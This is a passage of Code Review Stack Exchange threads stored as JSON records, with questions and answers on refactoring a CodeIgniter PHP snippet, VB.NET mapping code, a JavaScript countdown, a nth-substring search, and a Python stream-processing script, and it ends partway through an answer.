"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-01T13:27:54.930",
"Id": "18244",
"Score": "0",
"body": "Come on chaps. Anyone? Even if that you would not change anything (which I doubt - it cannot be perfect!) then I would like to know."
}
] |
[
{
"body": "<p>There is a javascript concept about one <code>var</code> per scope. Personally I'm not a big fan of it but you might want to read this: <a href=\"http://wonko.com/post/try-to-use-one-var-statement-per-scope-in-javascript\" rel=\"nofollow\">http://wonko.com/post/try-to-use-one-var-statement-per-scope-in-javascript</a></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-25T16:58:10.823",
"Id": "12072",
"ParentId": "10282",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T15:26:14.683",
"Id": "10282",
"Score": "4",
"Tags": [
"javascript",
"jquery",
"jquery-ui"
],
"Title": "Pie Chart jQuery-UI plugin"
}
|
10282
|
<p>I would like to know if there is a better/shorter/cleaner/resource saving method for this snippet of php code with codeigniter? Thanks.</p>
<pre><code>$code = $this->uri->segment(3);
if (!$code) {
// validation
$this->form_validation->set_rules('code', 'PassCode', 'required|trim|max_length[100]|xss_clean');
// run validation to check if validation rules are satifised
if ($this->form_validation->run() == true) {
$code = $this->input->post('code');
$user_id = $this->user_model->getUserId($code);
if (empty($user_id)) {
$data['errorMessage'] = 'Your code is not valid.';
} else {
redirect('user/profile');
}
}
} else {
$user_id = $this->user_model->getUserId($code);
if (empty($user_id)) {
$data['errorMessage'] = 'Your code is not valid.';
} else {
redirect('user/profile');
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-21T18:30:11.107",
"Id": "16374",
"Score": "1",
"body": "Check out the codeigniter style guide: http://codeigniter.com/user_guide/general/styleguide.html For example, instead of `if (!$code)`, write `if ( ! $code)`. In my opinion, codeigniter's style guide is my favorite for php."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-21T19:20:27.243",
"Id": "16375",
"Score": "0",
"body": "Your code makes no sence, if( ! $code ) validate else grab user ? Your naming convention is also a little muddled, code = id ."
}
] |
[
{
"body": "<pre><code>if ($this->form_validation->run() == true)\n</code></pre>\n\n<p>is redundant, just use...</p>\n\n<pre><code>if ($this->form_validation->run())\n</code></pre>\n\n<hr>\n\n<p>Also, you can move the whole <code>if (empty($user_id))</code> block outside to the end to avoid duplicating it:</p>\n\n<pre><code>$code = $this->uri->segment(3);\n\nif (!$code) {\n // validation\n $this->form_validation->set_rules('code', 'PassCode',\n 'required|trim|max_length[100]|xss_clean');\n\n // run validation to check if validation rules are satifised\n if ($this->form_validation->run()) {\n $code = $this->input->post('code');\n $user_id = $this->user_model->getUserId($code);\n }\n} else {\n $user_id = $this->user_model->getUserId($code);\n}\n\nif (empty($user_id)) {\n $data['errorMessage'] = 'Your code is not valid.';\n} else {\n redirect('user/profile'); \n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-21T18:24:46.780",
"Id": "10284",
"ParentId": "10283",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10284",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-21T18:19:51.583",
"Id": "10283",
"Score": "0",
"Tags": [
"php",
"codeigniter"
],
"Title": "How to write a cleaner code for this piece of php snippet?"
}
|
10283
|
<p>Got the following piece of code:</p>
<pre><code> If boolFlag Then
With offer.Person1
entity.Birthdate = .BirthDate
entity.FirstName = .FirstGivenName
entity.LastName = .FamilyName
entity.Street = .StreetName
entity.HousNr = .HouseNumberIdentifier
entity.BoxNr = .BoxNumberIdentifier
entity.PostalCode = .PostalCode
entity.Municipality = .CityName
End With
Else
With offer.Person2
entity.Birthdate = .BirthDate
entity.FirstName = .FirstGivenName
entity.LastName = .FamilyName
entity.Street = .StreetName
entity.HousNr = .HouseNumberIdentifier
entity.BoxNr = .BoxNumberIdentifier
entity.PostalCode = .PostalCode
entity.Municipality = .CityName
End With
End If
</code></pre>
<p>Objects Person1 and Person2 are of different types, and those types do not share a common Interface / class. (And that can't be changed)</p>
<p>How do I avoid the duplicate code inside the With-blocks?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T20:56:52.953",
"Id": "16394",
"Score": "0",
"body": "Can only think of using reflection to map properties but that seems overkill in this case, unless code snippets like this is scattered throughout your code then it may be worth looking into."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T15:45:05.787",
"Id": "16412",
"Score": "1",
"body": "If you have a lot of right-to-left code like this you should look into Automapper http://automapper.codeplex.com/"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T16:50:37.757",
"Id": "16415",
"Score": "0",
"body": "Automapper seems like a neat project."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T19:56:06.263",
"Id": "16423",
"Score": "0",
"body": "Jonas, any thoughts or feedback regarding the solutions provided below?"
}
] |
[
{
"body": "<p>Options:</p>\n\n<ol>\n<li>Change the original code base (best option, what should happen)</li>\n<li>Inherit your own objects from the originals and attach an interface (given your scenario, this is the option to go with)</li>\n<li>Use static helper methods ( you can abstract and decorate the routine to make it better in your core programming, but the code will still be duplicated.</li>\n</ol>\n\n<p>These items are listed in order of how you should approach the solution. I hope this helps.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T15:55:19.313",
"Id": "16413",
"Score": "1",
"body": "+1 but I want to make the point that (1) is not **necessarily** the best option. The similarity in property names could be a coincidence or (as I suspect might be happening here) this could be an integration layer between bounded contexts. In that case, changing the codebase would definitely be a mistake."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T16:47:13.877",
"Id": "16414",
"Score": "0",
"body": "Thanks George. I think your point is well taken. Since the example was showing that on the surface person1 and person2 were identical, it seemed that the primary source code was designed incorrectly. Even if this example was integrating two different sources, it seems that something should be done upstream."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T18:55:48.750",
"Id": "16442",
"Score": "0",
"body": "@GeorgeMauer: coincidence or integration layer, I wouldn't say that a common interface was a mistake, possibly not possible in the case of an integration layer where you don't have total control over all of the code, but not a mistake."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T06:34:25.347",
"Id": "16464",
"Score": "0",
"body": "In this case we are unable to make any changes to both the class being mapped from, as the class being mapped to. \nBut special thanks for mentioning option 2, since I hadn't thought of that yet, and I'm sure I'll be able to use that solution again in the future."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T17:04:44.030",
"Id": "10291",
"ParentId": "10289",
"Score": "1"
}
},
{
"body": "<p>One possible solution could look like this, where \"[yourEntityType]\" is the type of \"entity\" in your code:</p>\n\n<pre><code>Public Class CopyHelper(Of T As Class)\n Public Shared Sub UpdateEntity(person As T, entity As [yourEntityType])\n\n Dim birthDateProperty As System.Reflection.PropertyInfo = person.GetType().GetProperty(\"BirthDate\")\n\n If Not IsNothing(birthDateProperty) Then\n entity.Birthdate = birthDateProperty.GetValue(person, Nothing)\n End If\n\n Dim firstGivenNameProperty As System.Reflection.PropertyInfo = person.GetType().GetProperty(\"FirstGivenName\")\n If Not IsNothing(firstGivenNameProperty) Then\n entity.FirstName = firstGivenNameProperty.GetValue(person, Nothing)\n End If\n\n ...\n\n End Sub\nEnd Class\n</code></pre>\n\n<p>and finally your code will look as below</p>\n\n<pre><code>If boolFlag Then\n CopyHelper(Of Person1).UpdateEntity(offer.Person1, entity)\nElse\n CopyHelper(Of Person2).UpdateEntity(offer.Person2, entity)\nEnd If\n</code></pre>\n\n<p>Hope this helps!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T17:34:01.807",
"Id": "16416",
"Score": "0",
"body": "Nice additional option. Two items to watch out for 1) the performance hit of using reflection 2) using magic strings which also removes compile time compliance."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T18:43:00.383",
"Id": "16421",
"Score": "0",
"body": "Sweet. I'd take this one step further and move mapping code into it's own method. Something like GetValueOrDefault(person, \"FirstGivenName\", \"\"). Help avoid code duplication."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T19:40:08.373",
"Id": "16422",
"Score": "0",
"body": "Dreza, decorating the local object with a helper method or just attaching a method directly to the object would make it more fluent in the code base and achieve the result you were looking for."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T06:44:29.033",
"Id": "16465",
"Score": "0",
"body": "Thanks for the answer, indeed a fine way to solve the code duplication. \nHowever, in this case it would decrease readability too much for the small advantage I would get out of it."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T17:07:32.853",
"Id": "10309",
"ParentId": "10289",
"Score": "1"
}
},
{
"body": "<p>Unless you can make them share a common interface, it is not desirable to eliminate the code duplication -- best case (vb.net late binding on Object), trades your code size for the compilers. Doing the work yourself, simply means more code for you.</p>\n\n<p>That said, <em>where</em> the code duplication is, is something you might want to control. Extract each assignment out into a similarly named method, and call the appropriate one.</p>\n\n<pre><code>Sub UpdateEntityFromPerson(ByVal entity as Entity, ByVal person as Person1)\n With person\n entity.Birthdate = .BirthDate\n\n entity.FirstName = .FirstGivenName\n entity.LastName = .FamilyName\n\n entity.Street = .StreetName\n entity.HousNr = .HouseNumberIdentifier\n entity.BoxNr = .BoxNumberIdentifier\n entity.PostalCode = .PostalCode\n entity.Municipality = .CityName\n End With\nEnd Sub\n\nSub UpdateEntityFromPerson(ByVal entity as Entity, ByVal person as Person2)\n With Person\n entity.Birthdate = .BirthDate\n\n entity.FirstName = .FirstGivenName\n entity.LastName = .FamilyName\n\n entity.Street = .StreetName\n entity.HousNr = .HouseNumberIdentifier\n entity.BoxNr = .BoxNumberIdentifier\n entity.PostalCode = .PostalCode\n entity.Municipality = .CityName\n End With\nEnd Sub\n\n If boolFlag Then\n UpdateEntityFromPerson(entity, offer.person1)\n Else\n UpdateEntityFromPerson(entity, offer.person2)\n End If\n</code></pre>\n\n<p>All of the code is still duplicated, but it type safe, clear, and easy to use and understand. Of course, the best thing to do is probably to have an entity constructor that takes one or the other, or a builder that does so, but that depends upon other factors, outside your snippet...</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T06:52:33.167",
"Id": "16466",
"Score": "0",
"body": "Simplest solution, not the one I had hoped for, but in this particular case the one that's most applicable. \nThanks for the good argumentation why to this solution is viable!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T20:14:49.807",
"Id": "16514",
"Score": "0",
"body": "Yeah, what you really want is the ability to slap an interface onto an existing class, but you can't do that. If you are using these properties a lot, you can implement a Adapter that take either class and then wraps the interaction with them. One advantage of this would be that you could then define your interface, and then if you could later modify one of the classes by adding an interface, you could do so. I'm tempted to post this as an alternate answer just to show that it is equivalent in size to the reflection method, while still being safe."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T20:26:48.810",
"Id": "16515",
"Score": "0",
"body": "Well, when I say you can't do that, I mean the compiler doesn't do it for you, you can build your own code that does. As an example of that see this [codeProject DuckTyping article](http://www.codeproject.com/Articles/16074/DuckTyping-Runtime-Dynamic-Interface-Implementatio)."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T09:43:18.407",
"Id": "10316",
"ParentId": "10289",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10291",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T16:36:01.383",
"Id": "10289",
"Score": "4",
"Tags": [
"vb.net"
],
"Title": "Rewrite 2 repeating With-blocks"
}
|
10289
|
<p>I've written this <a href="https://github.com/Ralt/ralt.github.com/blob/master/school/countdown.js" rel="nofollow">little countdown script</a> to count until the end of our school days.</p>
<p>Now, that was written quickly, badly remembering modulo from a few years ago, and I don't think that's very optimized.</p>
<p>I thought about updating only the seconds and check if it needs to update the minute too, etc. But it wouldn't be accurate as <code>setTimeout</code> is not (depending if the browser lags, etc).</p>
<pre><code>(function() {
//the variable block here seems kinda weird, but whatever toots your horn
var el = document.getElementById('countdown'),
endDate = new Date('March 30, 2012 18:10:00'),
curDate,
diff,
days,
hours,
minutes,
seconds,
tmp,
countdown,
//added Math.floor. this is already a shortcut, might as well make it a double one
pad = function(number) { return (number < 10 ? '0' : '') + Math.floor(number) },
//calculate these constants once, instead of over and over
minute = 60 * 1000,
hour = minute * 60,
day = hour * 24
;(function tick() {
curDate = new Date()
//you want the absolute value of this, not of individual calculations using this
diff = Math.abs(new Date(curDate.getTime() - endDate.getTime()))
days = diff / day
tmp = diff % day
hours = tmp / hour
tmp = tmp % hour
minutes = tmp / minute
tmp = tmp % minute
seconds = tmp / 1000
//parseInt was redundant
countdown = pad(days) + ':' + pad(hours) + ':' + pad(minutes) + ':' + pad(seconds)
if ( 'textContent' in el ) {
el.textContent = countdown
}
else {
el.innerText = countdown
}
//dont't use arguments.calle, it's deprecated
//simply use a named function expression
setTimeout(tick, 1000)
}())
}())
</code></pre>
<p>About the semicolons missing: it is a deliberate choice as I find this more readable (the <code>;</code> right before the <code>(function()</code> is because it is the only edge case where the semicolon insertion doesn't work correctly).</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T17:19:57.727",
"Id": "16387",
"Score": "0",
"body": "Some cool stuff going on here, never thoughts of using arguments.callee like that to avoid a named function. though mdn does seem to recommend against it: https://developer.mozilla.org/en/JavaScript/Reference/Functions_and_function_scope/arguments/callee#A_bug_after_the_deprecation_of_arguments.callee.3F"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T17:24:10.280",
"Id": "16388",
"Score": "0",
"body": "Yep, it is deprecated :-). I just posted a reviewed version by @Zirak. Not sure if I should close the question or not."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T19:24:28.600",
"Id": "16393",
"Score": "1",
"body": "you wanan get really slick? `el[('textContent' in el) ? 'textContent' : 'innerText'] = countdown` Also though, you can cache the result of that calculation"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T08:27:06.260",
"Id": "16402",
"Score": "0",
"body": "Good point, I should definitely cache the result of this."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-12-11T08:06:23.180",
"Id": "133209",
"Score": "0",
"body": "`setInterval()` is far more optimized and is often recommended over `setTimeout()`. There is an awesome article by John Resig (inventor of jQuery and co-author of *Secrets of the JavaScript Ninja*). The book is amazing, I recommend it to everyone too! [John Resig's blog](http://ejohn.org/blog/how-javascript-timers-work/)"
}
] |
[
{
"body": "<p>First question - your countdown is \"symmetric\", it does not care if current date is past the end date. Is it on purpose?</p>\n\n<p>Define constants to avoid \"magic numbers\": <code>var ONE_DAY = 1000 * 60 * 60 * 24</code> etc</p>\n\n<p>May be it is better to calculate <code>diff = Math.abs(curDate.getTime() - endDate.getTime())</code> without new object construction, and you do not need to invoke Math.abs anymore (see the question above).</p>\n\n<p>Then, <code>days = Math.floor(diff / ONE_DAY)</code> to ensure integer number. Same for other calculations.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T08:27:55.807",
"Id": "16403",
"Score": "0",
"body": "Thanks for your advices, they're already used in @Zirak's version :). The symmetric part of the countdown is okay, a simple if check will solve this."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T17:51:26.703",
"Id": "10293",
"ParentId": "10290",
"Score": "0"
}
},
{
"body": "<p>Your whole code can be reduced to this.</p>\n\n<pre><code>/* secsToDHMS()\n * Author Gary Green\n * http://stackoverflow.com/users/63523/gary-green\n */\nfunction secsToDHMS(s)\n{\n var x = [86400, 3600, 60, 1],z,i=-1;\n while (z=x[++i])\n x[i] = (\"0\" + parseInt(s / z,10)).slice(-2),\n s %= z;\n\n return x.join(':');\n};\n\n(function() {\n\n var currentDate = new Date();\n var endDate = new Date('March 30, 2012 18:10:00');\n var secsToGo = (new Date(endDate - currentDate)).getTime() / 1000;\n var countdownElement = document.getElementById('countdown');\n\n var timer = setInterval(function() {\n\n if (--secsToGo < 0) {\n clearInterval(timer);\n return;\n }\n\n countdownElement.innerHTML = secsToDHMS(secsToGo);\n\n }, 1000);\n\n})();\n</code></pre>\n\n<p><strong>Fiddle</strong>: <a href=\"http://jsfiddle.net/xg63V/4\" rel=\"nofollow\">http://jsfiddle.net/xg63V/4</a></p>\n\n<hr>\n\n<p>Compressed version <strong>311 bytes</strong></p>\n\n<pre><code>(function(){var d=(new Date(new Date(\"March 30, 2012 18:10:00\")-new Date)).getTime()/1E3,\nf=document.getElementById(\"countdown\"),g=setInterval(function(){if(0>--d)clearInterval(g);\nelse{for(var a=d,b=[86400,3600,60,1],c,e=-1;c=b[++e];)b[e]=(\"0\"+parseInt(a/c,10)).slice(-2),\na%=c;f.innerHTML=b.join(\":\")}},1E3)})();\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T08:25:47.653",
"Id": "16401",
"Score": "0",
"body": "Your version looks somehow nice, but I don't like the use of `setInterval` or `innerHTML`. The `secsToDHMS` function is really nice though!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T22:37:45.530",
"Id": "10298",
"ParentId": "10290",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10298",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T16:42:58.240",
"Id": "10290",
"Score": "2",
"Tags": [
"javascript",
"datetime"
],
"Title": "Countdown script in JavaScript"
}
|
10290
|
<p>I've built a JavaScript function returning the index of the nth occurrence of a substring in a string.</p>
<pre><code>$(document).ready(function() {
var containingString = '.this.that.';
subString = '.';
var index = GetIndexOfSubstring(containingString, subString, 2);
});
function GetIndexOfSubstring(containingString, subString, occurrenceNumberOfSubString)
{
tokens = containingString.split(subString);
var numberOfSubStrings = tokens.length - 1;
if (occurrenceNumberOfSubString > numberOfSubStrings)
return "Error";
var index = 0 + occurrenceNumberOfSubString - 1;
for(var c = 0; c < occurrenceNumberOfSubString; c++)
{
var i = containingString.indexOf(subString);
var sub = containingString.substr(i + 1);
containingString = sub;
index += i;
}
return index;
}
</code></pre>
<p>As far as I can see, the function works correctly. Is there is an easier way to accomplish the goal? Also, can the function be improved?</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T18:29:54.043",
"Id": "16392",
"Score": "1",
"body": "Using a custom build RegExp should be faster and a lot less code."
}
] |
[
{
"body": "<p>There's no need to split the original string or slice away at the string, you can just use the built in <a href=\"https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String/indexOf\"><code>indexOf</code></a>, keeping track of how many times you've looked for the substring. As a personal preference, I'd also use smaller, not as bombastic, variables names.</p>\n\n<p>Also, there's absolutely no need to include jQuery in this - the <code>$(document).ready</code> is redundant.</p>\n\n<pre><code>function GetSubstringIndex(str, substring, n) {\n var times = 0, index = null;\n\n while (times < n && index !== -1) {\n index = str.indexOf(substring, index+1);\n times++;\n }\n\n return index;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-05T17:12:24.730",
"Id": "125944",
"Score": "0",
"body": "You should account for the length of substring: `index = str.indexOf(substring, index+substring.length);`"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T18:40:03.523",
"Id": "10296",
"ParentId": "10295",
"Score": "13"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T18:22:26.650",
"Id": "10295",
"Score": "6",
"Tags": [
"javascript",
"strings"
],
"Title": "Returning index of nth occurrence of a substring"
}
|
10295
|
<p>In order to create fast map/reduce processor for hadoop, I'm evaluating many languages. I'm learning python so I would like my python processor to go as fast as my perl processor.</p>
<p>So, for this question, the point is to increase the performance of simpleprocessor.py. To measure improvement, there is a benchmarking suite available there: <a href="https://github.com/Fade78/Stream-processing-benchmark" rel="nofollow">https://github.com/Fade78/Stream-processing-benchmark</a></p>
<p>simpleprocessor.py</p>
<pre><code>#!/usr/bin/python3
import sys
import re
scripttitle="PYTHON SIMPLE PROCESSOR (regex parsing)"
linecount=0
commentary=0
unknownline=0
DATA={}
pattern_data=re.compile(r"^(\d+)\s+(\S+)\s+(\S+)\s+(\d+(?:\.\d+)?)")
print("#",scripttitle,"\n#TRANSFORMED INPUT",sep='')
for line in sys.stdin:
linecount+=1
if line.startswith("#"):
commentary+=1
continue
line=line.replace(',','')
m=re.match(pattern_data,line)
if m:
i,k1,k2,value = m.group(1,2,3,4)
i=int(i)
value=float(value)
try:
DATA[k1][k2]+=value
except KeyError:
if k1 not in DATA: # Can't automaticaly create missing key and do the insert?
DATA[k1]={}
if k2 not in DATA[k1]:
DATA[k1][k2]=value
else:
DATA[k1][k2]+=value
print("{0},{1:.0f},{2},{3}".format(i,value,k2,k1))
else:
unknownline+=1
print("#DATADUMP")
keystat=0
for k1 in sorted(DATA):
print(k1,':',sep='',end='')
for k2 in sorted(DATA[k1]):
keystat+=1
print(' (',k2,':',int(DATA[k1][k2]),')',sep='',end='')
print()
report="#{0}\n#{1}\nparsed line: {2}, commentary line: {3}, unknown line: {4}, keystat: {5}.".format(
scripttitle, sys.version.replace("\n"," "), linecount, commentary, unknownline, keystat)
print("#REPORT\n"+report,file=sys.stdout)
print(report,file=sys.stderr)
</code></pre>
<p>In the benchmark output you can see that the python processor is three time slower than the perl processor.</p>
<p>To test you can run the benchmark and directly test your own modification. You can also add other script (in other language). Please, read the README at github.</p>
<p>Regards.</p>
<p>Fade.</p>
<p>P.S.: You may write a processor in your favorite language too, I'll be glad to put it in the suite.</p>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T01:34:14.510",
"Id": "16398",
"Score": "1",
"body": "Can I ask you strip this down? Having a complete ready-to-go benchmark is great. However, it makes it hard to see what you are actually asking for a review on. So I'd request that only put the file you want help with here, and host everything else off-site."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T09:45:17.273",
"Id": "16404",
"Score": "0",
"body": "Well, there is no problem per se, the script I \"need help\" is simpleprocessor.py. But it works well. The problem is that it run slower that the .pl one. So I have to put the full benchmark so people can test on their own computer. Unfortunately, I don't have another place to put these files."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T14:33:21.783",
"Id": "16407",
"Score": "0",
"body": "Stick it in a free public repository on bitbucket."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T15:27:47.393",
"Id": "16411",
"Score": "0",
"body": "A couple of things about your benchmark: your keys are randomnly generated, and you aren't likely to get the same keys referenced twice, is that really typical of your actual data? Secondly, you produce a lot of output. That's gonna a pretty dominant portion of the execution time, is that really what you are concerned about?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:02:20.830",
"Id": "16428",
"Score": "0",
"body": "I made it available there: https://github.com/Fade78/Stream-processing-benchmark"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:50:47.047",
"Id": "16435",
"Score": "0",
"body": "You should really edit your question, take everything but simpleprocesser.py out and add that link."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T15:39:41.430",
"Id": "16438",
"Score": "0",
"body": "I made a major edit to the question."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-01-27T04:01:04.630",
"Id": "142572",
"Score": "0",
"body": "I don't think you can get around the fact that the regex engine is built into Perl, and has had a lot of time to get optimized."
}
] |
[
{
"body": "<p>Instead of your try-except in simpleprocessor.py, check out setdefault and defaultdict:</p>\n\n<p>(untested code)</p>\n\n<pre><code>DATA = {}\nDATA.setdefault(k1, defaultdict(int))[k2] += 1\n</code></pre>\n\n<p>I have no idea whether this will be faster or not (although I would guess it would). Since you said you care about performance, I strongly recommend checking out the timeit module; e.g. see <a href=\"http://pysnippet.blogspot.com/2010/01/lets-timeit.html\" rel=\"nofollow\">http://pysnippet.blogspot.com/2010/01/lets-timeit.html</a></p>\n\n<p>Finally, a minor style point: I wouldn't use CONSTANT-style uppercase for something that you actually change. (Although technically the var does not change, the dict it points to does, which is nonconventional...)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:40:59.270",
"Id": "16432",
"Score": "0",
"body": "Since k2 may not be existing I also have to use sedefault for it. But it doesn't work since I can't make assignment to the returned values. I tried to assign the result of DATA.setdefault and then increment it but it doesn't seem to work (it should because it's reference right?)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:59:46.270",
"Id": "16437",
"Score": "0",
"body": "@Fade, the defaultdict should take care of `k2`. Python doesn't have references in the sense of C++ if that's what you are thinking."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T22:24:43.973",
"Id": "10311",
"ParentId": "10297",
"Score": "0"
}
},
{
"body": "<pre><code>#!/usr/bin/python3 \nimport sys\nimport re\n\nscripttitle=\"PYTHON SIMPLE PROCESSOR (regex parsing)\"\n</code></pre>\n\n<p>Python convention is to put constants in ALL_CAPS</p>\n\n<pre><code>linecount=0\ncommentary=0\nunknownline=0\nDATA={}\n</code></pre>\n\n<p>This isn't a constant, so it really shouldn't be all caps.</p>\n\n<pre><code>pattern_data=re.compile(r\"^(\\d+)\\s+(\\S+)\\s+(\\S+)\\s+(\\d+(?:\\.\\d+)?)\")\n\nprint(\"#\",scripttitle,\"\\n#TRANSFORMED INPUT\",sep='')\n</code></pre>\n\n<p>Its best to put all your actual logic inside a function rather then at the main level of a script. It'll run a bit faster that way.</p>\n\n<pre><code>for line in sys.stdin:\n linecount+=1\n if line.startswith(\"#\"):\n commentary+=1\n continue\n</code></pre>\n\n<p>I find code is almost always more readable when you put thing in the else block rather then use continue</p>\n\n<pre><code> line=line.replace(',','')\n m=re.match(pattern_data,line)\n if m:\n</code></pre>\n\n<p>Typically we'd explicit check for none with <code>if m is not None</code></p>\n\n<pre><code> i,k1,k2,value = m.group(1,2,3,4)\n</code></pre>\n\n<p>Actually you could use <code>m.groups()</code> here. I'd also avoid such unhelpnames as i, k1, and k2</p>\n\n<pre><code> i=int(i)\n</code></pre>\n\n<p>I'm not sure why you bother doing this if you are just going to print it out anyways</p>\n\n<pre><code> value=float(value)\n try:\n DATA[k1][k2]+=value\n except KeyError:\n if k1 not in DATA: # Can't automaticaly create missing key and do the insert?\n DATA[k1]={}\n if k2 not in DATA[k1]:\n DATA[k1][k2]=value\n else:\n DATA[k1][k2]+=value\n</code></pre>\n\n<p>Python has a useful class called defaultdict. It lets you provide the default value for a dictionary. It also has a class called Counter for counting things So you could do this:</p>\n\n<pre><code>DATA = collections.defaultdict(collections.Counter)\n</code></pre>\n\n<p>Then</p>\n\n<pre><code>DATA[k1][k2] += value\n</code></pre>\n\n<p>will always work because the default cases are handled.</p>\n\n<pre><code> print(\"{0},{1:.0f},{2},{3}\".format(i,value,k2,k1))\n</code></pre>\n\n<p>It'd probably be easier to follow using <code>sep=','</code> rather then what you've done here</p>\n\n<pre><code> else:\n unknownline+=1\n\nprint(\"#DATADUMP\")\n\nkeystat=0\n\nfor k1 in sorted(DATA):\n</code></pre>\n\n<p>Instead use <code>for k1, items in sorted(DATA.items):</code> Then items will be <code>DATA[k1]</code> and you can relooking up the data</p>\n\n<pre><code> print(k1,':',sep='',end='')\n for k2 in sorted(DATA[k1]):\n</code></pre>\n\n<p>Same here, use the <code>.items()</code> to fetch keys and values together</p>\n\n<pre><code> keystat+=1\n print(' (',k2,':',int(DATA[k1][k2]),')',sep='',end='')\n print()\n\nreport=\"#{0}\\n#{1}\\nparsed line: {2}, commentary line: {3}, unknown line: {4}, keystat: {5}.\".format(\n scripttitle, sys.version.replace(\"\\n\",\" \"), linecount, commentary, unknownline, keystat)\n\nprint(\"#REPORT\\n\"+report,file=sys.stdout)\nprint(report,file=sys.stderr)\n</code></pre>\n\n<p>As for performance, remember that Perl is the practical extraction and report language. This kinda thing is perl's bread and butter, so its gonna be hard for python to win. Doesn't mean I'm not gonna try though.</p>\n\n<p><strong>EDIT: Performance</strong></p>\n\n<p>I've played with improving performance, a few points:</p>\n\n<pre><code> m=re.match(pattern_data,line)\n</code></pre>\n\n<p>A better way is to use</p>\n\n<pre><code> m = pattern_data.match(line)\n</code></pre>\n\n<p>They both do the same thing, but the first has a speed penalty associated with it.</p>\n\n<pre><code> print(' (',k2,':',int(DATA[k1][k2]),')',sep='',end='')\n</code></pre>\n\n<p>The print function is expensive, probably due to its versatility. Rewriting your code to use sys.stdout.write() directly gave much better performance.</p>\n\n<pre><code> try:\n DATA[k1][k2]+=value\n except KeyError:\n if k1 not in DATA: # Can't automaticaly create missing key and do the insert?\n DATA[k1]={}\n if k2 not in DATA[k1]:\n DATA[k1][k2]=value\n else:\n 